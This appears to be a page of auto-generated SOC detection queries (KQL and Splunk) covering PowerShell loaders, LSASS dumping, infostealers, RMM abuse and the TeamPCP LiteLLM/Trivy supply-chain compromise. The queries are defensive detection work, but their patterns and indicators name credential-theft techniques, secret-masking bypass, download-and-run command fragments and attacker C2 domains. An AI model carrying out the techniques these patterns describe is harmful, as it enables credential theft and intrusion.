| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-55182")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("30015DD1E2CF4DBD49FFF9DDEF2AD4622DA2E60E5C0B6228595325532E948F14", "41C4F2F37C0B257D1E20FE167F2098DA9D2E0A939B09ED3F63BC4FE010F8365C", "D8CAF4581C9F0000C7568D78FB7D2E595AB36134E2346297D78615942CBBD727", "0880819ef821cff918960a39c1c1aada55a5593c61c608ea9215da858a86e349", "0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a", "0c6a3555c4eb49f240d7e0e3edbfbb3c900f123033b4f6e99ac3724b9b76278f", "18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a", "1e559c51f19972e96fcc5a92d710732159cdae72f407864607a513b20729decb", "5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956", "61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba", "6328a34b26a63423b555a61f89a6a0525a534e9c88584c815d937910f1ddd538", "7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9", "7b5cc85e82249b0c452c66563edca498ce9d0c70badef04ab2c52acef4d629ca", "7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7", "822dd269ec10459572dfaaefe163dae693c344249a0161953f0d5cdd110bd2a0", "887e1f5b5b50162a60bd03b66269e0ae545d0aef0583c1c5b00972152ad7e073", "bef7e2c5a92c4fa4af17791efc1e46311c0f304796f1172fce192f5efc40f5d7", "c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926", "cd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3", "d5edd791021b966fb6af0ace09319ace7b97d6642363ef27b3d5056ca654a94c", "e4edd126e139493d2721d50c3a8c49d3a23ad7766d0b90bc45979ba675f35fea", "e6310d8a003d7ac101a6b1cd39ff6c6a88ee454b767c1bdce143e04bc1113243", "e64e152afe2c722d750f10259626f357cdea40420c5eedae37969fbf13abbecf", "e87a55d3ba1c47e84207678b88cacb631a32d0cb3798610e7ef2d15307303c49", "e9b1e069efc778c1e77fb3f5fcc3bd3580bbc810604cbf4347897ddb4b8c163b", "ecce7ae5ffc9f57bb70efd3ea136a2923f701334a8cd47d4fbf01a97fd22859c", "f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152", "f7084b0229dce605ccc5506b14acd4d954a496da4b6134a294844ca8d601970d")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("30015DD1E2CF4DBD49FFF9DDEF2AD4622DA2E60E5C0B6228595325532E948F14", "41C4F2F37C0B257D1E20FE167F2098DA9D2E0A939B09ED3F63BC4FE010F8365C", "D8CAF4581C9F0000C7568D78FB7D2E595AB36134E2346297D78615942CBBD727", "0880819ef821cff918960a39c1c1aada55a5593c61c608ea9215da858a86e349", "0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a", "0c6a3555c4eb49f240d7e0e3edbfbb3c900f123033b4f6e99ac3724b9b76278f", "18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a", "1e559c51f19972e96fcc5a92d710732159cdae72f407864607a513b20729decb", "5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956", "61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba", "6328a34b26a63423b555a61f89a6a0525a534e9c88584c815d937910f1ddd538", "7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9", "7b5cc85e82249b0c452c66563edca498ce9d0c70badef04ab2c52acef4d629ca", "7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7", "822dd269ec10459572dfaaefe163dae693c344249a0161953f0d5cdd110bd2a0", "887e1f5b5b50162a60bd03b66269e0ae545d0aef0583c1c5b00972152ad7e073", "bef7e2c5a92c4fa4af17791efc1e46311c0f304796f1172fce192f5efc40f5d7", "c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926", "cd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3", "d5edd791021b966fb6af0ace09319ace7b97d6642363ef27b3d5056ca654a94c", "e4edd126e139493d2721d50c3a8c49d3a23ad7766d0b90bc45979ba675f35fea", "e6310d8a003d7ac101a6b1cd39ff6c6a88ee454b767c1bdce143e04bc1113243", "e64e152afe2c722d750f10259626f357cdea40420c5eedae37969fbf13abbecf", "e87a55d3ba1c47e84207678b88cacb631a32d0cb3798610e7ef2d15307303c49", "e9b1e069efc778c1e77fb3f5fcc3bd3580bbc810604cbf4347897ddb4b8c163b", "ecce7ae5ffc9f57bb70efd3ea136a2923f701334a8cd47d4fbf01a97fd22859c", "f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152", "f7084b0229dce605ccc5506b14acd4d954a496da4b6134a294844ca8d601970d")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Article-specific behavioural hunt — Weaponizing the Protectors: TeamPCP’s Multi-Stage Supply Chain Attack on SecuritExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Weaponizing the Protectors: TeamPCP’s Multi-Stage Supply Chain Attack on Securit
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("kamikaze.sh", "kube.py", "setup.sh"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("kamikaze.sh", "kube.py", "setup.sh"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Weaponizing the Protectors: TeamPCP’s Multi-Stage Supply Chain Attack on Securit ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("kamikaze.sh","kube.py","setup.sh"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("kamikaze.sh","kube.py","setup.sh"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
Hunts the TeamPCP LiteLLM PyPI compromise where a Python .pth file (litellm_init.pth) executes during interpreter startup regardless of whether litellm is imported, and drops a stage-2 credential sweeper at /host/root/.config/sysmon/sysmon.py. Also flags installations of the two known-malicious versions on Linux/Windows/macOS.
Rationale: litellm_init.pth and the /host/root/.config/sysmon/sysmon.py path are unique strings called out by Unit 42 and corroborated by Snyk, Sonatype, OX Security and BerriAI/litellm GitHub issues #24512/#24521. Pinned malicious versions 1.82.7/1.82.8 (LiteLLM) and 4.87.1/4.87.2 (Telnyx) are explicit in the article.
Cross-checked against:
• https://snyk.io/blog/poisoned-security-scanner-backdooring-litellm/
• https://github.com/BerriAI/litellm/issues/24512
• https://www.sonatype.com/blog/compromised-litellm-pypi-package-delivers-multi-stage-credential-stealer
• https://www.bleepingcomputer.com/news/security/popular-litellm-pypi-package-compromised-in-teampcp-supply-chain-attack/
ATT&CKT1195.002T1059.006T1546.016T1552.001
Data sourcesEndpoint.FilesystemEndpoint.Processes
let pthDrops = DeviceFileEvents | where Timestamp > ago(30d) | where FileName =~ "litellm_init.pth" or FolderPath has "/host/root/.config/sysmon/sysmon.py" or FolderPath has @"\.config\sysmon\sysmon.py" or FolderPath has "/.config/sysmon/sysmon.py" or (FolderPath has "site-packages" and FileName == "litellm_init.pth") | project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName; let badInstall = DeviceProcessEvents | where Timestamp > ago(30d) | where ProcessCommandLine has_any ("litellm==1.82.7", "litellm==1.82.8", "telnyx==4.87.1", "telnyx==4.87.2") and ProcessCommandLine has_any ("pip", "poetry", "uv ", "pipenv", "requirements") | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName; union pthDrops, badInstall | sort by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.user) as user values(Filesystem.process_name) as proc from datamodel=Endpoint.Filesystem where (Filesystem.file_name="litellm_init.pth" OR Filesystem.file_path="*/site-packages/litellm_init.pth" OR Filesystem.file_path="*/host/root/.config/sysmon/sysmon.py" OR Filesystem.file_path="*\\.config\\sysmon\\sysmon.py" OR Filesystem.file_path="*/.config/sysmon/sysmon.py") by Filesystem.dest Filesystem.file_path Filesystem.file_name Filesystem.file_hash | `drop_dm_object_name(Filesystem)` | append [| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmd from datamodel=Endpoint.Processes where (Processes.process="*pip*install*litellm==1.82.7*" OR Processes.process="*pip*install*litellm==1.82.8*" OR Processes.process="*pip*install*telnyx==4.87.1*" OR Processes.process="*pip*install*telnyx==4.87.2*") by Processes.dest Processes.user Processes.process_name | `drop_dm_object_name(Processes)`] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] TeamPCP kamikaze.sh on GitHub Actions runner: /proc/<pid>/mem dump of Runner.Worker + Docker 2375 sweepActions on ObjectivesHigh
Hunts the Trivy/KICS GitHub Action wave where the malicious kamikaze.sh executes inside the runner, reads the Runner.Worker process memory via /proc/<pid>/mem to bypass GitHub secret masking, then scans the local subnet/Docker API port 2375 and harvests SSH keys. This is highly distinctive to TeamPCP's CI/CD-resident stealer.
Rationale: Reading /proc/<pid>/mem of Runner.Worker to bypass GitHub Actions secret masking, the literal kamikaze.sh / kube.py filenames, Docker API port 2375 sweeps, and TeamPCP's signature port 666 are all named verbatim in the Unit 42 article and corroborated by Wiz, Aqua Security and Kaspersky write-ups.
Cross-checked against:
• https://www.wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack
• https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/
• https://www.kaspersky.com/blog/critical-supply-chain-attack-trivy-litellm-checkmarx-teampcp/55510/
ATT&CKT1195.002T1059.004T1003.007T1046T1552.004
Data sourcesEndpoint.ProcessesNetwork_Traffic.All_Traffic
let memDump = DeviceProcessEvents | where Timestamp > ago(30d) | where ProcessCommandLine matches regex @"/proc/\d+/mem" and ProcessCommandLine has_any ("Runner.Worker", "runner.worker", "dd if=", "cat ", "cp ", "head ") | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine; let kamikaze = DeviceProcessEvents | where Timestamp > ago(30d) | where ProcessCommandLine has_any ("kamikaze.sh", "kube.py") or (FolderPath has "_work" and ProcessCommandLine has "setup.sh" and ProcessCommandLine has "base64 -d") | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine; let dockerSweep = DeviceNetworkEvents | where Timestamp > ago(30d) | where RemotePort in (2375, 666) and ActionType == "ConnectionSuccess" | summarize hits=dcount(RemoteIP), ports=make_set(RemotePort) by DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, bin(Timestamp, 1h) | where hits >= 5; union memDump, kamikaze, dockerSweep | sort by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.user) as user values(Processes.parent_process) as parent values(Processes.process) as cmd from datamodel=Endpoint.Processes where (Processes.process="*kamikaze.sh*" OR (Processes.process="*/proc/*/mem*" AND (Processes.process="*Runner.Worker*" OR Processes.process="*runner.worker*")) OR (Processes.process="*setup-trivy*" AND Processes.process="*curl*") OR (Processes.process="*aquasecurtiy*") OR (Processes.process="*kube.py*" AND Processes.process="*python*")) by Processes.dest Processes.process_name Processes.process_id host | `drop_dm_object_name(Processes)` | append [| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic.All_Traffic where (All_Traffic.dest_port=2375 OR All_Traffic.dest_port=666) AND All_Traffic.action="allowed" by All_Traffic.src All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)` | stats count by src dest_port | where count > 5] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Broad hunt for TeamPCP/CanisterWorm post-compromise activity: beaconing to typosquatted exfil domains and the ICP canister dead-drop, Telnyx WAV-steganography stagers (hangup.wav/ringtone.wav) read by Python, the pgmon/systemd masquerade binary and the GITHUB_TOKEN-driven creation of a hidden 'docs-tpcp' repo as a fallback C2 channel.
Rationale: All four primary C2 hosts (scan.aquasecurtiy.org, checkmarx.zone, models.litellm.cloud, the ICP canister tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io), the WAV stego filenames hangup.wav/ringtone.wav, the pgmon/systemd masquerade and the docs-tpcp fallback repo are explicit IOCs in the Unit 42 article and cross-referenced by Sonatype/Wiz/Snyk write-ups. Constraining WAV reads to Python and pgmon to non-postgres paths keeps FP rate low.
Cross-checked against:
• https://www.wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack
• https://www.sonatype.com/blog/compromised-litellm-pypi-package-delivers-multi-stage-credential-stealer
• https://snyk.io/blog/poisoned-security-scanner-backdooring-litellm/
Data sourcesNetwork_Resolution.DNSWeb.WebEndpoint.FilesystemEndpoint.Processes
let teampcpC2 = dynamic(["scan.aquasecurtiy.org","checkmarx.zone","models.litellm.cloud","tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io","championships-peoples-point-cassette.trycloudflare.com","create-sensitivity-grad-sequence.trycloudflare.com","investigation-launches-hearings-copying.trycloudflare.com","plug-tab-protective-relay.trycloudflare.com"]); let netHits = DeviceNetworkEvents | where Timestamp > ago(30d) | where RemoteUrl has_any (teampcpC2) or RemoteUrl endswith ".raw.icp0.io" | project Timestamp, DeviceName, ActionType, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName; let wavStego = DeviceFileEvents | where Timestamp > ago(30d) | where FileName in~ ("hangup.wav", "ringtone.wav") and InitiatingProcessFileName in~ ("python", "python3", "python.exe", "pythonw.exe") | project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine; let pgmonMasq = DeviceProcessEvents | where Timestamp > ago(30d) | where (FileName =~ "pgmon" and not(FolderPath has_any ("/usr/lib/postgresql", "/usr/pgsql", "/opt/postgres", "/var/lib/pgsql"))) or (ProcessCommandLine has "docs-tpcp" and ProcessCommandLine has_any ("GITHUB_TOKEN", "gh repo create", "api.github.com/user/repos")) | project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName; union netHits, wavStego, pgmonMasq | sort by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(DNS.src) as src from datamodel=Network_Resolution.DNS where (DNS.query="*aquasecurtiy.org" OR DNS.query="*checkmarx.zone" OR DNS.query="*models.litellm.cloud" OR DNS.query="tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io" OR DNS.query="*.raw.icp0.io" OR DNS.query="championships-peoples-point-cassette.trycloudflare.com" OR DNS.query="create-sensitivity-grad-sequence.trycloudflare.com" OR DNS.query="investigation-launches-hearings-copying.trycloudflare.com" OR DNS.query="plug-tab-protective-relay.trycloudflare.com") by DNS.dest DNS.query | `drop_dm_object_name(DNS)` | append [| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.process_name) as proc from datamodel=Endpoint.Filesystem where (Filesystem.file_name="hangup.wav" OR Filesystem.file_name="ringtone.wav") by Filesystem.dest Filesystem.file_path Filesystem.process_name | `drop_dm_object_name(Filesystem)` | search proc IN ("python","python3","python.exe","pythonw.exe")] | append [| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process_path) as path from datamodel=Endpoint.Processes where (Processes.process_name="pgmon" AND NOT Processes.process_path IN ("/usr/lib/postgresql/*","/usr/pgsql*/*","/opt/postgres*/*")) OR Processes.process="*docs-tpcp*" by Processes.dest Processes.user Processes.process | `drop_dm_object_name(Processes)`] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-3111 use cases5 techniques7 kill-chain phases detected
Unit 42 uncovers a "double agent" flaw in Google Cloud's Vertex AI, demonstrating how overprivileged AI agents can compromise cloud environments. The post Double Agents: Exposing Security Blind Spots in GCP Vertex AI appeared first on Unit 42 .
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking. → Network connections to article IPs / domains
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · OAuth consent / suspicious app grant · [LLM] Vertex AI Reasoning Engine P4SA (gcp-sa-aiplatform-re) acting on consumer GCS or cross-project Artifact Registry · [LLM] Outbound pulls to Google-internal Vertex AI private artifact registry path cloud-aiplatform-private
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
